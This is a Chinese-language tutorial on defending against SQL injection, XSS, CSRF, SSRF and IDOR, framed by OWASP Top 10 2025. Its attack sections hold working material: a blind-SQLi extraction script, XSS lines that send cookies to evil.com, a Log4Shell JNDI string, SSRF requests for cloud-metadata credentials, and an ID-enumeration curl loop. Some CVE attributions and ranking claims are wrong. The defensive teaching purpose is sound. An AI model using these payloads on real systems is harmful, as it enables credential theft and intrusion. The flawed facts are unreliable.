专栏 知识宝典 子专栏 安全与合规 4 篇

7.1.1 OWASP Top 10 2025 实战防御 · SQL 注入 / XSS / CSRF / SSRF / IDOR

OWASP Top 10 2025 全栈实战 —— 5 大常见漏洞(SQL 注入/XSS/CSRF/SSRF/IDOR)原理 / 攻击 / 防御 + 真实漏洞案例

1. 为什么这个专题重要

1.1 Web 安全的真实代价

Web 安全不是可选项 —— 一次成功的攻击就能让公司倒闭。下面是几个真实数字:

公司 年份 漏洞类型 影响 直接损失
Equifax 2017 Apache Struts RCE 1.45 亿用户 SSN 泄露 7 亿美元和解金
Marriott 2018 Starwood SQL 注入 5 亿客户护照泄露 1.23 亿美元罚款
Capital One 2019 SSRF + AWS metadata 1 亿用户信用卡泄露 1.9 亿美元和解金
SolarWinds 2020 供应链投毒 18000 客户被植入后门 国家级安全事件
Yahoo 2013 哈希破解 30 亿账号泄露 收购价直降 3.5 亿

一行未过滤的字符串、一个未校验的 redirect 参数、一个开了 SSRF 的图片代理,都能捅出天。

1.2 OWASP 是什么

OWASP(Open Worldwide Application Security Project)是一个非营利基金会,2001 年由 Mark Curphey 创办,目标是让软件安全可视化、可度量、可落地。最有名的产出是每 4 年更新一次的 OWASP Top 10 —— 它不是完整漏洞清单,而是”最可能被利用 + 影响最大”的 Top 10 优先级列表。

┌──────────────────────────────────────────────────────────────┐
│                    OWASP 核心产出金字塔                        │
├──────────────────────────────────────────────────────────────┤
│   OWASP Top 10        ← 高层优先级,决策者 / 管理者阅读         │
│   OWASP ASVS          ← 应用安全验证标准,150+ 控制项,工程师落地 │
│   OWASP Testing Guide ← 渗透测试方法论,黑盒/灰盒/白盒流程       │
│   OWASP Cheat Sheet   ← 按场景的速查单(XSS/CSRF/SSRF/...)     │
│   OWASP ZAP           ← 开源渗透测试工具                       │
│   Dependency-Check    ← SCA 组件漏洞扫描                       │
└──────────────────────────────────────────────────────────────┘

1.3 OWASP Top 10 2025 完整列表

2025 版相对 2021 版做了重排,把”服务器端请求伪造(SSRF)”首次单独列入 Top 10,说明云原生时代 SSRF 已经成为高发漏洞。

# 名称(中文) 英文 简称 与 2021 对比
A01 失效的访问控制 Broken Access Control BAC 排名从 #1 升 #1,持续高发
A02 加密失败 Cryptographic Failures — 原”敏感数据暴露”
A03 注入 Injection INJ 涵盖 SQL/NoSQL/命令/LDAP
A04 不安全设计 Insecure Design — 2021 新增,持续保留
A05 安全配置错误 Security Misconfiguration — —
A06 易受攻击和过时的组件 Vulnerable & Outdated Components — —
A07 识别与认证失败 Identification & Auth Failures — —
A08 软件与数据完整性失败 Software & Data Integrity Failures — 含供应链攻击
A09 安全日志与监控失败 Security Logging & Monitoring Failures — —
A10 服务端请求伪造 Server-Side Request Forgery SSRF 2025 首次进入 Top 10

IDOR(不安全直接对象引用)是 BAC 的最常见子类型;CSRF 2021 起被并入 A01 的”跨站请求伪造(Cross-Site Request Forgery)”描述里,但仍是高频实战点。

1.4 本专题的边界

本专题聚焦实战中最常遇、影响最大的 5 类漏洞:SQL 注入 / XSS / CSRF / SSRF / IDOR。其他 5 类(A02/A04/A05/A06/A07/A08/A09)在第 7 节简述要点,详细落地单独成文。


2. SQL 注入详解

2.1 原理

SQL 注入(SQL Injection)的本质:用户输入被当作 SQL 代码执行。

当后端用字符串拼接构造 SQL,而不是参数化查询时,攻击者可以通过精心构造的输入改变 SQL 的语义。

# ❌ 漏洞代码 —— 字符串拼接
username = request.form["username"]
password = request.form["password"]
sql = f"SELECT * FROM users WHERE name='{username}' AND pwd='{password}'"
cursor.execute(sql)

# 攻击者输入 username = "' OR '1'='1"
# 最终 SQL:
# SELECT * FROM users WHERE name='' OR '1'='1' AND pwd='anything'
# → WHERE 永远为真,绕过登录

2.2 三类攻击链

2.2.1 Union 联合查询

正常 URL: /news?id=1
对应 SQL: SELECT title, body FROM news WHERE id=1

注入 URL: /news?id=-1 UNION SELECT username, password FROM users
对应 SQL: SELECT title, body FROM news WHERE id=-1 UNION SELECT username, password FROM users
→ 把 users 表的账号密码拼到新闻页面上

2.2.2 Boolean 布尔盲注

当页面没有回显 SQL 结果时,用条件判断逐字符猜数据。

/news?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='a'
/news?id=1 AND SUBSTRING((SELECT password FROM users WHERE id=1),1,1)='b'
...
→ 用「页面正常 vs 404」二分猜第 1 个字符

2.2.3 Time-based 时间盲注

页面连 true/false 都不区分时,用 MySQL SLEEP() 让响应变慢。

/news?id=1 AND IF(1=1, SLEEP(5), 0)
/news?id=1 AND IF(1=0, SLEEP(5), 0)
→ 响应时间差 5 秒,反推条件真假

2.3 攻击示例完整代码(Python)

"""
sql_injection_demo.py —— 仅作教学演示,严禁对未授权系统使用
"""
import requests

TARGET = "http://victim.local/news"
CHARS = "abcdefghijklmnopqrstuvwxyz0123456789"

def extract_db_name():
    """通过 boolean 盲注猜测当前数据库名"""
    db_name = ""
    for pos in range(1, 20):
        for ch in CHARS:
            payload = (
                f"1 AND SUBSTRING(database(),{pos},1)="
                f"'{ch}'"
            )
            r = requests.get(TARGET, params={"id": payload})
            if "正常页面关键字" in r.text:  # ← 改成目标页面特征
                db_name += ch
                print(f"[+] 第 {pos} 位 = {ch}, 累计 = {db_name}")
                break
    return db_name

if __name__ == "__main__":
    print("db_name =", extract_db_name())

2.4 防御四件套

2.4.1 预编译(Prepared Statement)—— 第一优先

# ✅ Python + MySQL —— 预编译
import pymysql
conn = pymysql.connect(host="db", user="u", password="p", db="app")
cur = conn.cursor()
sql = "SELECT * FROM users WHERE name=%s AND pwd=%s"
cur.execute(sql, (username, password))  # 参数永远被当数据,不当代码
// ✅ Java + JDBC —— 预编译
String sql = "SELECT * FROM users WHERE name=? AND pwd=?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
// ✅ Node.js + mysql2 —— 预编译
const mysql = require("mysql2/promise");
const [rows] = await pool.execute(
    "SELECT * FROM users WHERE name=? AND pwd=?",
    [username, password]
);

2.4.2 ORM 屏蔽拼接

# ✅ SQLAlchemy ORM —— 完全不写 SQL
from sqlalchemy.orm import Session
user = session.query(User).filter_by(name=username, pwd=password).first()
// ✅ MyBatis-Plus LambdaQueryWrapper —— 同样不写 SQL
LambdaQueryWrapper<User> q = new LambdaQueryWrapper<>();
q.eq(User::getName, username).eq(User::getPwd, password);
User user = userMapper.selectOne(q);

2.4.3 输入校验(白名单)

# ✅ 强类型校验 + 白名单
import re
def safe_user_id(raw: str) -> int:
    if not re.fullmatch(r"\d{1,10}", raw):
        raise ValueError("invalid user id")
    return int(raw)

2.4.4 WAF(Web 应用防火墙)—— 兜底

# nginx + ModSecurity 规则示例
SecRule ARGS "@detectSQLi" \
    "id:1001,\
     phase:2,\
     deny,\
     status:403,\
     msg:'SQL Injection Detected',\
     tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"

2.5 真实 CVE 案例

CVE 年份 产品 类型
CVE-2019-9194 2019 PostgreSQL COPY ... PROGRAM 命令注入
CVE-2020-9484 2020 Apache Tomcat session 持久化 反序列化+RCE
CVE-2021-27905 2021 MariaDB/MySQL wsrep provider SSRF+SQL 注入组合
CVE-2023-50164 2023 Apache Struts 文件上传 RCE
CVE-2024-3094 2024 XZ Utils 后门 供应链投毒

2.6 踩坑记录

踩坑 后果 正确做法
ORDER BY 后用预编译失败,改字符串拼接 重新引入注入 用 CASE WHEN 重写或白名单排序字段
LIKE 查询参数化 通配符 % _ 被原样保存 参数化后单独拼接通配符:LIKE CONCAT('%', ?, '%')
IN (?, ?, ?) 预编译报参数个数错 退化为字符串拼接 用 find_in_set / 拆成多条 / 用 ORM

3. XSS(跨站脚本)详解

3.1 原理

XSS(Cross-Site Scripting)的本质:用户输入被当作 HTML/JS 注入到页面。浏览器看到 <script> 就执行,于是攻击者的 JS 跑在受害者域下,可读 cookie、偷 token、改页面、发起钓鱼。

3.2 三种类型对比

┌──────────────────────────────────────────────────────────────┐
│              XSS 三种类型对比                                 │
├──────────────┬───────────────┬──────────────┬────────────────┤
│   类型        │  注入点       │ 持久性       │ 触发方式       │
├──────────────┼───────────────┼──────────────┼────────────────┤
│ 反射型        │ URL 参数 → 页 │ 一次性       │ 诱导点击链接    │
│ 存储型        │ DB → 页       │ 长期         │ 任何访问者都中招│
│ DOM 型        │ JS 读 location│ 一次性       │ 诱导点击 + 客户端│
│              │ innerHTML 写入 │              │ JS 缺陷        │
└──────────────┴───────────────┴──────────────┴────────────────┘

3.3 攻击示例

<!-- 漏洞页面:http://victim.local/search?q=xxx -->
<!-- 渲染时直接把 q 拼进 HTML -->
<div>您搜索的关键词是:xxx</div>

<!-- 攻击 URL -->
http://victim.local/search?q=<script>fetch('https://evil.com/x?'+document.cookie)</script>
<!-- 受害者点击后,JS 把 cookie 发送到 evil.com -->

3.3.2 存储型挂马

# 漏洞代码:把评论内容直接拼进 HTML
comment = request.form["comment"]
db.execute("INSERT INTO comments(content) VALUES(%s)", (comment,))
...
# 渲染时:
html = f"<div class='comment'>{comment}</div>"

# 攻击者提交评论:content = <script src=https://evil.com/x.js></script>
# 之后每个访问者打开页面都被挂马

3.3.3 DOM 型读 URL 段

// ❌ 漏洞代码
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById("title").innerHTML = params.get("name");
// 攻击 URL:
http://victim.local/page#name=<img src=x onerror=alert(document.cookie)>

3.4 防御四件套

3.4.1 输出转义(按上下文)


# ✅ Python Jinja2 —— 默认开启 HTML 转义
from markupsafe import escape
{{ user_input | escape }}
# 渲染 < → &lt; , > → &gt; , " → &#34;

// ✅ 纯 JS DOM API(代替 innerHTML)
const el = document.getElementById("title");
el.textContent = params.get("name");   // 不解析 HTML
// 如果必须插入 HTML:
const clean = DOMPurify.sanitize(rawHtml);
el.innerHTML = clean;

3.4.2 CSP(Content Security Policy)

# nginx 配置
add_header Content-Security-Policy "
    default-src 'self';
    script-src 'self' 'nonce-$nonce' https://cdn.trust.com;
    style-src  'self' 'unsafe-inline';
    img-src    'self' data: https:;
    object-src 'none';
    frame-ancestors 'none';
    base-uri 'self';
    report-uri /csp-report;
" always;

<!-- HTML 内联脚本必须带 nonce -->
<script nonce="{{ nonce }}">doWork()</script>

# ✅ Flask
resp.set_cookie(
    "session",
    value=token,
    httponly=True,      # JS 读不到 document.cookie
    secure=True,        # 只走 HTTPS
    samesite="Lax",     # 防 CSRF
    max_age=3600,
)
// ✅ Spring Boot
ResponseCookie cookie = ResponseCookie.from("session", token)
    .httpOnly(true).secure(true).sameSite("Lax").build();
response.addCookie(cookie);

3.4.4 输入白名单(富文本场景)

# ✅ 允许标签白名单 + 属性白名单
import bleach
ALLOWED_TAGS = ["b", "i", "a", "p", "br"]
ALLOWED_ATTRS = {"a": ["href", "title"]}
clean = bleach.clean(raw, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS)

3.5 真实案例

时间 公司 类型 影响
2014 eBay 反射型 用户被骗输入账号
2018 British Airways 存储型 Magecart 团伙注入 JS 偷信用卡
2019 Fortnite 反序列化+XSS 1.96 亿用户被钓鱼
2022 口令/Token 类钱包 DOM 型 钓鱼网站诱导签交易

3.6 踩坑记录

踩坑 后果 正确做法
用 innerHTML 写用户昵称 XSS 用 textContent 或框架默认转义
富文本允许 style 属性 CSS 注入(expression()) 白名单去掉 style
CSP 用了 unsafe-inline 完全失效 改 nonce/hash
反射型修了但忽略 DOM 型 漏一半 用 Trusted Types 统一 API

4. CSRF 详解

4.1 攻击原理

CSRF(Cross-Site Request Forgery)的本质:受害者浏览器访问恶意站点时,自动带上目标站点的 cookie 发起请求,目标站点以为是用户主动操作,执行了转账、改密等敏感动作。

┌─────────────────────────────────────────────────────────────┐
│ CSRF 攻击链路                                                 │
│                                                               │
│  1. 用户已登录 bank.com,浏览器持有 bank.com 的 session cookie  │
│  2. 用户被诱导访问 evil.com                                  │
│  3. evil.com 页面里有一段代码:                                │
│     <img src="https://bank.com/transfer?to=attacker&amount=999"> │
│  4. 浏览器自动请求该 URL,自动带上 bank.com 的 cookie           │
│  5. bank.com 后端看到带 cookie 的请求,执行转账                │
└─────────────────────────────────────────────────────────────┘

4.2 防御四件套

# ✅ 推荐 Lax:允许 GET 跨站(用户体验好),禁止 POST 跨站
resp.set_cookie("session", token, samesite="Lax", secure=True, httponly=True)

# ✅ 极敏感操作(银行转账):用 Strict,任何跨站都禁
resp.set_cookie("session", token, samesite="Strict", secure=True, httponly=True)

4.2.2 CSRF Token —— 金标准

# ✅ Flask + Flask-WTF —— 后端生成 token
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config["SECRET_KEY"] = "rotated-vault-secret"
CSRFProtect(app)

# 渲染模板时自动 <input type="hidden" name="csrf_token" value="...">
# POST 请求 Flask-WTF 自动校验 token
// ✅ 前端 fetch 调用
await fetch("/api/transfer", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-CSRF-Token": document.querySelector("meta[name=csrf-token]").content,
    },
    body: JSON.stringify({to: "attacker", amount: 999}),
});
# ✅ 不依赖 session,纯 stateless
def login(resp):
    csrf_token = secrets.token_urlsafe(32)
    resp.set_cookie("csrf_token", csrf_token, secure=True, samesite="Strict")

def transfer(req):
    cookie_tok = req.cookies.get("csrf_token")
    header_tok = req.headers.get("X-CSRF-Token")
    if not (cookie_tok and header_tok and cookie_tok == header_tok):
        return 403
    # ...

⚠️ 子域名隔离必须保证(evil.com 拿不到 csrf_token 才能改 header)

4.2.4 Origin / Referer 校验 —— 兜底

# ✅ 后端校验 Origin 头
ALLOWED_ORIGINS = {"https://app.example.com"}
def check_origin(req):
    origin = req.headers.get("Origin") or req.headers.get("Referer", "")
    return any(origin.startswith(o) for o in ALLOWED_ORIGINS)

4.3 Java Spring Security 示例

// ✅ Spring Security 默认开启 CSRF,自定义配置
@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                .ignoringRequestMatchers("/api/webhook/*") // 第三方回调放行
            );
        return http.build();
    }
}

4.4 真实案例

时间 公司 影响
2007 Gmail 收件箱被读
2008 工商银行 用户被转出小额资金
2018 TikTok 用户视频被删
2022 Shopify 应用商店开发者被刷单

4.5 踩坑记录

踩坑 后果 正确做法
GET 接口改数据 CSRF 一键利用 严格遵守 GET 幂等、POST 改状态
Webhook 走 CSRF 回调被拒 用 secret + 签名验证,不要用 CSRF Token
Samesite=None CSRF 防护失效 默认 Lax,Strict 用于极敏感
校验完 token 不失效 重放风险 一次性 token 或绑定时间戳

5. SSRF(服务端请求伪造)详解

5.1 原理

SSRF(Server-Side Request Forgery)的本质:服务端拿用户可控的 URL 去发起请求(爬虫 / 图片代理 / 文件预览 / API 转发),攻击者让它访问内网、云 metadata、本地文件。

┌────────────────────────────────────────────────────────────────┐
│ SSRF 攻击面                                                      │
│                                                                  │
│  用户控制 URL                                                    │
│      │                                                           │
│      ▼                                                           │
│  ┌─────────────────┐                                            │
│  │ Web 应用后端     │ ──→ 访问公网(正常)                          │
│  │ (图片代理/爬虫)  │ ──→ 访问 127.0.0.1 / 192.168.x.x(内网)       │
│  │                 │ ──→ 访问 169.254.169.254(云 metadata)        │
│  │                 │ ──→ 访问 file:///etc/passwd(协议走私)         │
│  └─────────────────┘                                            │
└────────────────────────────────────────────────────────────────┘

5.2 AWS Metadata 攻击链

# 漏洞接口
POST /proxy/fetch HTTP/1.1
{"url": "https://example.com/img.png"}

# 攻击 payload
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# → 拿到 EC2 角色的 AccessKey / SecretKey / Token

{"url": "http://169.254.169.254/latest/user-data"}
# → 拿到启动脚本里的密钥、数据库密码

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"}
# → 拿到临时凭证,即可访问整个 S3 桶

5.3 真实案例:Capital One 1 亿用户泄露

  • 时间:2019 年
  • 漏洞:getCanonicalClassName 等 SSRF 端点 → 拿到 AWS metadata 临时凭证
  • 攻击链:拿到凭证 → 列出 S3 桶 → 下载 700+ 个文件 → 1 亿信用卡申请记录泄露
  • 代价:1.9 亿美元和解金 + 1.4 亿美元罚款

5.4 防御四件套

5.4.1 URL 白名单 + 协议白名单

# ✅ 只允许 https + 指定域名
ALLOWED_HOSTS = {"cdn.example.com", "img.example.com"}
ALLOWED_SCHEMES = {"https"}

def safe_fetch(url: str) -> bytes:
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("scheme not allowed")
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("host not allowed")
    return requests.get(url, timeout=5, allow_redirects=False).content

5.4.2 IP 黑名单(防止 DNS 解析到内网)

import ipaddress, socket
PRIVATE_NETS = [
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),  # AWS metadata
    ipaddress.ip_network("::1/128"),
]

def is_private(host: str) -> bool:
    ip = ipaddress.ip_address(socket.gethostbyname(host))
    return any(ip in net for net in PRIVATE_NETS)

5.4.3 DNS 重绑定检测

# ✅ 解析一次后强制绑定 IP,防止解析结果跳变
import socket
def resolve_and_pin(url):
    host = urlparse(url).hostname
    ip = socket.gethostbyname(host)
    # 用 http://ip/host 形式构造请求,且后续不再解析
    return ip, host

5.4.4 云厂商 metadata 防护

# ✅ AWS IMDSv2(强制使用 token,防 SSRF)
aws ec2 modify-instance-metadata-options \
    --instance-id i-xxx \
    --http-tokens required \
    --http-put-response-hop-limit 1

5.5 Java HttpClient 示例

// ✅ Java 11+ HttpClient —— 禁止重定向 + 协议白名单
HttpClient client = HttpClient.newBuilder()
    .followRedirects(HttpClient.Redirect.NEVER)
    .build();

URI uri = URI.create(userInputUrl);
if (!"https".equals(uri.getScheme())) throw new IllegalArgumentException("scheme");
if (!ALLOWED_HOSTS.contains(uri.getHost())) throw new IllegalArgumentException("host");

HttpRequest req = HttpRequest.newBuilder(uri).build();
HttpResponse<String> resp = client.send(req, HttpResponse.BodyHandlers.ofString());

5.6 踩坑记录

踩坑 后果 正确做法
用正则匹配 127.0.0.1 漏掉 0.0.0.0、localhost、[::]、127.0.0.01 用 ipaddress 库解析后判断
允许 allow_redirects=True 跳到内网 关重定向
用域名做白名单 DNS rebinding 解析 + 强制绑定 IP
IMDSv1 开着 SSRF 一键拿凭证 强制 IMDSv2

6. IDOR(不安全直接对象引用)详解

6.1 原理

IDOR(Insecure Direct Object Reference)是 BAC 类的最常见子类型:接口直接接受对象 ID,缺少权限检查,导致改 ID 就能访问他人数据。

漏洞接口:
GET /api/orders/1001   ← 我的订单
GET /api/orders/1002   ← 改成 1002,别人的订单就看到了
GET /api/orders/1003
...

6.2 攻击示例

# ❌ 漏洞代码
@app.route("/api/orders/<int:order_id>")
def get_order(order_id):
    order = Order.query.get(order_id)   # 直接拿
    return jsonify(order.to_dict())    # 不管是不是当前用户的
# 攻击:枚举订单 ID
for id in {1..10000}; do
    curl -H "Authorization: Bearer $TOKEN" \
         https://victim.local/api/orders/$id
done

6.3 防御三件套

6.3.1 服务端权限检查(强制)

# ✅ 每个查询都带 owner 过滤
@app.route("/api/orders/<int:order_id>")
@login_required
def get_order(order_id):
    order = Order.query.filter_by(
        id=order_id,
        user_id=current_user.id     # ← 关键:把当前用户带进去
    ).first()
    if not order:
        return 404
    return jsonify(order.to_dict())

6.3.2 用 UUID 替代自增 ID(隐藏性)

# ✅ SQLAlchemy 用 UUID
import uuid
from sqlalchemy.dialects.postgresql import UUID

class Order(db.Model):
    id = db.Column(UUID(as_uuid=True), primary_key=True,
                   default=uuid.uuid4)   # 36 位字符串,无法枚举

# 路由
@app.route("/api/orders/<uuid:order_id>")
def get_order(order_id):
    order = Order.query.filter_by(id=order_id).first()
    # UUID 即使猜中,也要过权限检查

⚠️ UUID 是”降低攻击效率”,不是”防御”。权限检查才是关键。

6.3.3 中间件统一检查(避免漏写)

# ✅ Flask before_request 中间件
@app.before_request
def enforce_object_scope():
    if request.method != "GET":
        return
    if "object_id" in request.view_args:
        oid = request.view_args["object_id"]
        owner_id = current_user.id
        # 检查 object.owner_id == owner_id
        if not check_ownership(oid, owner_id):
            return 403

6.3.4 Java Spring Security @PostAuthorize

// ✅ Spring Security 表达式
@PreAuthorize("@orderService.canRead(#orderId, authentication.principal.id)")
@GetMapping("/orders/{orderId}")
public Order getOrder(@PathVariable UUID orderId) { return orderRepo.findById(orderId).orElseThrow(); }

6.4 真实案例

时间 公司 ID 影响
2019 Facebook 照片 URL 数字 ID 6900 万用户私人照片可看
2020 某快递公司 取件码 4 位数字 8 万包裹信息泄露
2021 Parler 帖子 ID 7000 万帖子被爬
2023 某银行 App 客户编号 跨省看任意客户账户

6.5 踩坑记录

踩坑 后果 正确做法
仅靠 UUID 内部接口泄露后照样能枚举 UUID + 权限检查双保险
select * 不带 where 全表返回 强制 where owner_id = ?
管理员接口和用户接口复用 提权 权限注解分离

7. 其他 Top 10 漏洞简述

编号 名称 一句话描述 防御要点
A02 加密失败 用了 MD5/SHA1、明文传输、硬编码密钥 TLS 1.2+、bcrypt/argon2、密钥走 Vault
A04 不安全设计 业务逻辑天生有缺陷(无频控、验证码可绕过) 威胁建模 STRIDE、设计评审
A05 安全配置错误 默认密码、调试模式开、目录遍历 硬化基线(CIS Benchmark)、IaC 扫描
A06 易受攻击组件 log4j/log4shell、struts 老版本 SCA(Dependency-Check/Snyk)、SLA 修复
A07 识别认证失败 弱口令、无 MFA、session 永不过期 MFA、bcrypt、session TTL + rotate
A08 软件数据完整性失败 供应链投毒(SolarWinds / xz-utils)、CI 篡改 SBOM、签名校验、SLSA
A09 日志监控失败 被攻击 200 天才发现 SIEM、告警、蜜罐

7.1 A06 真实案例:SolarWinds Orion 供应链投毒(2020)

┌──────────────────────────────────────────────────────────────┐
│ SolarWinds 攻击链(2020)                                      │
│                                                                │
│  APT29(俄) → 入侵 SolarWinds 构建系统                         │
│         → 注入 SUNBURST 后门到 Orion 更新包                     │
│         → 18000 客户(包括美财政部、Microsoft)下载更新            │
│         → 后门以合法进程身份驻留,横向移动                        │
└──────────────────────────────────────────────────────────────┘

教训:不能假设供应商可信。所有第三方代码都要 SBOM + 签名 + 运行期行为监控。

7.2 A06 真实案例:Log4Shell(CVE-2021-44228)

// ❌ 漏洞代码 —— JNDI 注入
log.info("User-Agent: {}", request.getHeader("User-Agent"));

// 攻击 UA: ${jndi:ldap://evil.com/x}
// → log4j 解析 JNDI,加载远程 LDAP 上的恶意 class → RCE

修复:升级 log4j 2.17.1+、移除 JndiLookup 类、JEP 290。


8. 实战案例 4 个深度剖析

案例 1:Equifax 1.45 亿用户泄露(2017)

2017 年 3 月,Apache Struts 2 公布一个 RCE 漏洞(CVE-2017-5638),攻击者只需要一个 Content-Type 头就能拿到服务器权限。Equifax 在漏洞公开后整整 2 个月没有打补丁。5 月 13 日攻击者开始扫描,发现 Equifax 在线争议解决门户有该漏洞,发起攻击。攻击者在系统内潜伏 76 天,直到 7 月 29 日 SSL 证书过期才发现异常,此时数据已经流出。泄露内容包括 1.45 亿美国人的姓名、SSN、出生日期、地址,20.9 万张信用卡号。最终 Equifax 支付 7 亿美元和解金(美国 FTC 史上最大),CEO/CIO/CSO 全部离职。根因是漏洞扫描覆盖不全 + 补丁管理流程失效 + 内网隔离缺失。

案例 2:Marriott 5 亿客户数据泄露(2018)

2016 年 Marriott 收购 Starwood,2018 年发现 Starwood 预订系统自 2014 年起就被入侵。攻击者植入 SQL 注入 + WebShell,驻留长达 4 年,泄露 5 亿客户的姓名、地址、护照号、信用卡号、SPG 积分。根因是收购前未做安全审计、SQL 注入长期未修复、加密密钥也一起泄露导致加密被解密。最终 1.23 亿美元罚款(英国 ICO)。教训:并购整合必须做安全尽调,旧系统遗留问题要彻底清查。

案例 3:Capital One 1 亿用户 SSRF 攻击(2019)

2019 年 7 月,Capital One 收到举报邮件,AWS 团队定位到一个被泄露的 IAM 凭证。复盘发现,Capital One 的 WAF(命名 ModSecurity 配置)有个 SSRF 端点,允许用户控制 URL 去取资源,攻击者 Paige Thompson 构造 http://169.254.169.254/latest/meta-data/iam/security-credentials/... 拿到 EC2 角色临时凭证,继而列出 700+ S3 桶,下载 1 亿信用卡申请记录 + 14 万 SSN。1.9 亿美元和解金 + 1.4 亿美元罚款。根因:云上传统 WAF 无法防护 metadata IP + IMDSv1 还在用 + 凭证过度授权。修复:强制 IMDSv2 + 最小权限 IAM + 禁止内网 IP 段做 URL 解析。

案例 4:某电商网站 XSS 漏洞 → 钓鱼(2024)

某电商搜索接口 /search?q=xxx 把 q 直接拼到 HTML(反射型 XSS)。攻击者诱导用户点击 https://shop.local/search?q=<script>fetch('https://evil.com/phish?...')</script>,页面打开后 JS 改写整个 body,伪装成”账号异常,请重新登录”,提交时把用户名密码发到 evil.com,然后跳转回真实网站,受害者毫不知情。根因:模板未转义 + 缺 CSP + 关键操作未做 MFA。修复:Jinja2 |escape + CSP nonce + 支付/改密等关键操作强制 MFA + 服务端异常登录告警。


9. 选型决策树 + Checklist

9.1 漏洞类型 → 防御组件 决策树

遇到一个 Web 漏洞
  │
  ├── 是不是用户输入被当代码执行?
  │      ├── SQL  → 预编译 / ORM / WAF
  │      ├── HTML → 转义 / CSP / DOMPurify
  │      └── 命令 → 避免系统调用 / 白名单
  │
  ├── 是不是身份/权限漏了?
  │      ├── BAC  → 权限检查 / 中间件
  │      ├── IDOR → owner_id 过滤 / UUID
  │      └── CSRF → SameSite / Token / Origin
  │
  ├── 是不是服务端发请求?
  │      └── SSRF → URL 白名单 / 协议白名单 / DNS 绑定
  │
  ├── 是不是用了过期组件?
  │      └── SCA 扫描 / 强制升级
  │
  └── 是不是配置问题?
         └── 硬化基线 / IaC 扫描

9.2 五维度对比

维度 预编译 ORM WAF 转义 CSP
防御 SQL 注入 ★★★★★ ★★★★★ ★★★ — —
防御 XSS — — ★★★ ★★★★★ ★★★★
误伤业务 低 低 中 低 中
性能开销 低 中 中 低 低
维护成本 低 中 高 低 中

9.3 六大反模式

# 反模式 后果
1 “内网环境不用 HTTPS” 中间人 + cookie 泄露
2 “我们用了 ORM 所以没 SQL 注入” raw() / ? 拼接仍可注入
3 “CSP 配了 unsafe-inline 算了” CSP 完全失效
4 “图片代理允许任意 URL” SSRF → 云 metadata 失陷
5 “用了 UUID 就防 IDOR 了” 内部枚举照样泄露
6 “WAF 在,所以代码写烂点没事” WAF 可绕过,代码是最后防线

9.4 选型口诀(三句话)

预编译 + 转义 + 权限,这三件做齐了,80% 的漏洞自动消失。

SameSite + UUID + 白名单,守住三个边界,数据不会乱串。

WAF + SCA + CSP,这三层兜底,实战几乎不会翻车。

9.5 WAF 配置 Checklist

[ ] 启用 OWASP CRS 3.x 规则集
[ ] 开启 SQL 注入 / XSS / SSRF / 命令注入基础规则
[ ] 关闭与业务冲突的规则并记录(注释 ID + 原因)
[ ] 开启严格模式(block,不要 monitor)
[ ] 自定义:拦截 169.254.169.254 / file:// / gopher://
[ ] 日志接 SIEM,异常 IP/UA 告警
[ ] 每周 audit 规则命中率,调阈值

9.6 安全开发 Checklist(SDLC)

设计阶段
[ ] 威胁建模(STRIDE)
[ ] 敏感字段分类(公开/内部/机密)
[ ] 明确身份认证与授权模型

编码阶段
[ ] 所有 SQL 走预编译或 ORM,禁字符串拼接
[ ] 所有 HTML 输出走模板引擎或转义库
[ ] 所有用户文件上传校验 MIME + 后缀 + 内容
[ ] 所有 URL 重定向走白名单
[ ] 所有 ID 类查询带 owner_id 过滤
[ ] 关键操作 CSRF Token + SameSite=Strict

测试阶段
[ ] SAST(静态扫描):Semgrep / CodeQL
[ ] DAST(动态扫描):OWASP ZAP / Burp
[ ] SCA(组件扫描):Dependency-Check / Snyk
[ ] 渗透测试:每年一次外部 + 每次大版本

上线阶段
[ ] 移除调试模式 / 默认账号 / 测试路由
[ ] 强制 HTTPS + HSTS
[ ] CSP / X-Frame-Options / Referrer-Policy
[ ] 日志接入 SIEM,关键事件告警

运维阶段
[ ] 漏洞 SLA:Critical 24h / High 7d / Medium 30d
[ ] 补丁管理:每月扫描 + 灰度
[ ] 备份 + 灾备演练
[ ] 蜜罐 + 异常登录告警

10. 漏洞速查表 + 落地清单

10.1 OWASP Top 10 2025 速查表

# 漏洞 一句话原理 防御核心 真实案例
A01 失效访问控制 没检查”谁” 中间件统一拦截 Facebook 照片门
A02 加密失败 用错算法 TLS + bcrypt + KMS Yahoo 30 亿
A03 注入 输入当代码 预编译 / 转义 Equifax Struts
A04 不安全设计 逻辑天生漏 威胁建模 Parler 7000 万
A05 配置错误 默认太宽松 硬化基线 Capital One SSRF
A06 易受攻击组件 老版本 SCA + SLA Log4Shell
A07 认证失败 弱口令/无 MFA MFA + bcrypt 撞库攻击
A08 完整性失败 供应链投毒 SBOM + 签名 SolarWinds
A09 日志监控失败 被攻击不知 SIEM + 告警 Equifax 76 天
A10 SSRF 服务端请求被控 URL 白名单 Capital One

10.2 落地 Checklist(本专题核心)

SQL 注入
[ ] 全量预编译或 ORM
[ ] 禁止字符串拼接 SQL
[ ] WAF 兜底(OWASP CRS)

XSS
[ ] 模板默认转义
[ ] 富文本走 DOMPurify 白名单
[ ] CSP nonce + 不允许 unsafe-inline
[ ] Cookie: HttpOnly + Secure + SameSite

CSRF
[ ] SameSite=Lax(默认) / Strict(敏感)
[ ] 写操作 CSRF Token
[ ] GET 严格幂等

SSRF
[ ] URL 白名单 + 协议 https only
